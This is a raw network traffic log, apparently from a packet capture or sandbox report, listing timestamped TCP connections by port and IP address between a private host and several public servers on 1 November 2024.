Nov 1, 2024 05:52:13.575515985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:13.575591087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:13.736263990 CET	443	49732	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:13.736660004 CET	49732	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:13.736680031 CET	443	49732	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:13.738112926 CET	443	49732	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:13.738178968 CET	49732	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:13.740382910 CET	49732	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:13.740443945 CET	443	49732	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:13.741213083 CET	49732	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:13.741219044 CET	443	49732	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:13.784812927 CET	49732	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.005424023 CET	443	49732	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.005477905 CET	443	49732	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.005516052 CET	443	49732	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.005563974 CET	49732	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.005580902 CET	443	49732	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.005628109 CET	49732	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.007772923 CET	443	49732	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.007880926 CET	49732	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.007911921 CET	443	49732	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.007960081 CET	49732	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.042915106 CET	443	49735	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.043169022 CET	49735	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.043185949 CET	443	49735	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.046191931 CET	443	49735	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.046267986 CET	49735	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.046523094 CET	49735	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.046608925 CET	443	49735	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.046695948 CET	49735	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.091341019 CET	443	49735	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.098174095 CET	49735	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.098192930 CET	443	49735	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.110366106 CET	49735	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.110491991 CET	443	49735	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.110573053 CET	49735	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.174103022 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.174386978 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.174438000 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.175456047 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.175534010 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.176290989 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.176362038 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.176423073 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.219345093 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.222481012 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.222505093 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.259705067 CET	443	49737	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.261873960 CET	49737	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.261892080 CET	443	49737	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.262849092 CET	443	49737	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.262907028 CET	49737	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.263222933 CET	49737	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.263282061 CET	443	49737	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.263364077 CET	49737	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.263370991 CET	443	49737	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.269309998 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.316212893 CET	49737	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.465120077 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.465167999 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.465198040 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.465229988 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.465234995 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.465265989 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.465296984 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.465634108 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.465707064 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.465720892 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.473542929 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.473714113 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.473726988 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.518732071 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.518748045 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.536086082 CET	443	49737	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.565620899 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.581238985 CET	49737	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.581252098 CET	443	49737	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.582168102 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.582293987 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.582365990 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.582386017 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.582453012 CET	49737	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.582516909 CET	443	49737	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.582590103 CET	49737	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.585330009 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.585711956 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.585726976 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.590691090 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.593723059 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.593738079 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.598400116 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.601707935 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.601721048 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.652770996 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.652780056 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.699417114 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.699455023 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.699474096 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.699492931 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.699567080 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.702349901 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.706671953 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.706733942 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.706748962 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.715624094 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.715665102 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.715724945 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.715740919 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.715847015 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.760565042 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.816149950 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.816174030 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.816533089 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.816699982 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.816759109 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.816775084 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.816848040 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.819427013 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.822875023 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.823756933 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.823921919 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.823937893 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.823997021 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.832735062 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.875266075 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.875356913 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.875377893 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.877640963 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.877695084 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.877710104 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.925636053 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.933804989 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.936650038 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.936685085 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.936732054 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.936748981 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.936801910 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.941090107 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.950092077 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.950122118 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.950175047 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.950182915 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:14.950223923 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:14.996946096 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.039407969 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.039438963 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.039480925 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.039541960 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.039588928 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.039613962 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.051143885 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.051203966 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.051211119 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.053961039 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.055332899 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.055340052 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.058223963 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.058273077 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.058279991 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.067204952 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.069727898 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.069740057 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.112150908 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.112400055 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.112416029 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.112514019 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.156625986 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.168440104 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.168484926 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.168562889 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.168579102 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.168638945 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.171168089 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.175468922 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.175506115 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.175559044 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.175574064 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.175638914 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.184500933 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.184691906 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.184750080 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.184767962 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.229367971 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.229732037 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.229753017 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.273833990 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.275299072 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.275330067 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.285892963 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.285934925 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.285972118 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.285988092 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.286032915 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.288305998 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.292896032 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.292951107 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.292964935 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.301629066 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.301687002 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.301713943 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.301728964 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.302424908 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.346666098 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.391087055 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.391136885 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.391156912 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.402607918 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.402658939 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.402681112 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.402695894 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.402746916 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.405428886 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.409852982 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.409878969 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.409904957 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.409918070 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.409961939 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.409971952 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.410010099 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:15.410053968 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.410427094 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:15.410456896 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:17.161453009 CET	49745	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:17.161499977 CET	443	49745	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:17.161567926 CET	49745	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:17.161851883 CET	49745	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:17.161870003 CET	443	49745	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:17.452007055 CET	49746	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:17.452030897 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:17.452506065 CET	49746	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:17.454188108 CET	49746	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:17.454200029 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:17.841160059 CET	49747	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:17.841176033 CET	443	49747	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:17.841260910 CET	49747	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:17.842107058 CET	49747	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:17.842118025 CET	443	49747	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:18.103737116 CET	443	49745	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:18.104044914 CET	49745	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:18.104099035 CET	443	49745	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:18.105061054 CET	443	49745	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:18.105145931 CET	49745	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:18.105551004 CET	49745	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:18.105609894 CET	443	49745	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:18.158950090 CET	49745	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:18.158961058 CET	443	49745	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:18.206314087 CET	49745	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:18.314125061 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:18.314198017 CET	49746	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:18.318799973 CET	49746	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:18.318810940 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:18.319201946 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:18.361709118 CET	49746	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:18.694250107 CET	443	49747	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:18.694324017 CET	49747	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:18.697753906 CET	49747	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:18.697761059 CET	443	49747	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:18.698004961 CET	443	49747	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:18.710942030 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:18.710958004 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:18.711015940 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:18.711191893 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:18.711201906 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:18.741209984 CET	49747	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:18.787327051 CET	443	49747	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:18.998532057 CET	443	49747	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:18.998604059 CET	443	49747	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:18.998732090 CET	49747	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:18.998806953 CET	49747	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:18.998814106 CET	443	49747	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:18.998831987 CET	49747	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:18.998836040 CET	443	49747	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:19.039119005 CET	49753	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:19.039154053 CET	443	49753	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:19.039236069 CET	49753	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:19.039524078 CET	49753	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:19.039536953 CET	443	49753	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:19.233156919 CET	49746	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:19.279356956 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:19.512625933 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:19.512676001 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:19.512697935 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:19.512737989 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:19.512742043 CET	49746	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:19.512767076 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:19.512767076 CET	49746	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:19.512789965 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:19.512794971 CET	49746	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:19.512835979 CET	49746	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:19.512985945 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:19.513042927 CET	49746	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:19.513048887 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:19.513431072 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:19.513495922 CET	49746	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:19.605757952 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.608613014 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:19.608620882 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.609571934 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.609628916 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:19.610814095 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:19.610871077 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.611010075 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:19.611016035 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.660842896 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:19.869822025 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.869853973 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.869879007 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.869904041 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.869904995 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:19.869915009 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.870019913 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:19.870028973 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.870101929 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:19.870471001 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.879487038 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.879570007 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:19.879576921 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.898188114 CET	443	49753	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:19.898248911 CET	49753	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:19.899597883 CET	49753	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:19.899605036 CET	443	49753	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:19.899825096 CET	443	49753	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:19.900995016 CET	49753	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:19.925332069 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:19.925338984 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.947331905 CET	443	49753	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:19.972198963 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:19.998684883 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.998717070 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:19.999142885 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:19.999160051 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.000231981 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.000294924 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.000302076 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.004988909 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.005124092 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.005135059 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.014482975 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.014542103 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.014548063 CET	443	49752	142.250.181.238	192.168.2.4
